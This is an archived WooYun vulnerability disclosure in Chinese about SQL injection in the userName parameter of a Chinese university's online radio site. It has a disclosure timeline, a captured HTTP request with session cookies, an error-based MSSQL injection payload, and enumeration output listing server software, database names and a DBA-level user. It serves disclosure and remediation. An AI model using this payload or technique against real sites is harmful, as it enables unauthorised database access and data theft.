乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-23: 细节已通知厂商并且等待厂商处理中 2015-11-23: 厂商已经确认,细节仅向厂商公开 2015-12-03: 细节向核心白帽子及相关领域专家公开 2015-12-04: 厂商已经修复漏洞并主动公开,细节向公众公开
RT
http://radio.upc.edu.cn/ 中国石油大学(华东)网络电台
GET /LiveFiles/Pages/Inner/userinfo.aspx?userName=&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&userName=-1 HTTP/1.1X-Requested-With: XMLHttpRequestReferer: http://radio.upc.edu.cnCookie: asaichatusermo=%B1%E0%BA%C595233356; ASPSESSIONIDQSCRCTSB=JCBBFCJBMBAPPPDJBLAFLPPC; BAIRONG.VC.LOGIN=ky3d; SiteServer.Space.Hits.=; SiteServer.Space.Hits.friends=friends; SiteServer.Space.Hits.photo=photo; SiteServer.Space.Hits.blog=blog; SiteServer.Space.Hits.myweb=myweb; SITESERVER.p13.s0=9151; asaichatuser=; LiveServer_Friends=7806; jiathis_rdc=%7B%22http%3A//radio.upc.edu.cn/contents/21/140.html%22%3A%22266%7C1447852626189%22%7D; jiathis_uniqid=1447852332564c792c25608; stlDigg_1_140=true; jiathis_sers=weixin%3A1; SiteServer.Space.Hits.jinanrenjia=jinanrenjia; SiteServer.Space.Hits.hq=hq; SiteServer.Space.Hits.09013231=09013231; SiteServer.Space.Hits.17677=17677; SiteServer.Space.Hits.1234=1234; SiteServer.Space.Hits.LIANG123=LIANG123; SiteServer.Space.Hits.victornie713=victornie713; SiteServer.Space.Hits.bodywei=bodywei; SiteServer.Space.Hits.xiaok=xiaok; SiteServer.Space.Hits.pirate=pirate; SiteServer.Space.Hits.knox=knox; SiteServer.Space.Hits.ruwei0112=ruwei0112; SITESERVER.p1.s-99=nov0Host: radio.upc.edu.cnConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*
userName参数存在注入
---Parameter: userName (GET) Type: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING clause Payload: userName=&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&ModuleType=UserInfo&UserModuleClientID=ctl00_ctl00_TemplateHolder_ContentHolder_ctl00&userName=-1 '+(SELECT 'jHds' WHERE 7404=7404 AND 8790=CONVERT(INT,(SELECT CHAR(113)+CHAR(112)+CHAR(98)+CHAR(118)+CHAR(113)+(SELECT (CASE WHEN (8790=8790) THEN CHAR(49) ELSE CHAR(48) END))+CHAR(113)+CHAR(122)+CHAR(122)+CHAR(122)+CHAR(113))))+'---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2008available databases [8]:[*] master[*] model[*] msdb[*] radio[*] radiotest[*] ReportServer[*] ReportServerTempDB[*] tempdb
---web server operating system: Windows 2003 or XPweb application technology: ASP.NET, Microsoft IIS 6.0back-end DBMS: Microsoft SQL Server 2008current user: 'knox'current database: 'radio'current user is DBA: True
危害等级:中
漏洞Rank:8
确认时间:2015-11-23 15:13
感谢您对学校的网络安全的关注,我们会尽快解决该问题。
2015-12-04:该网站已关闭,感谢对中国石油大学的关新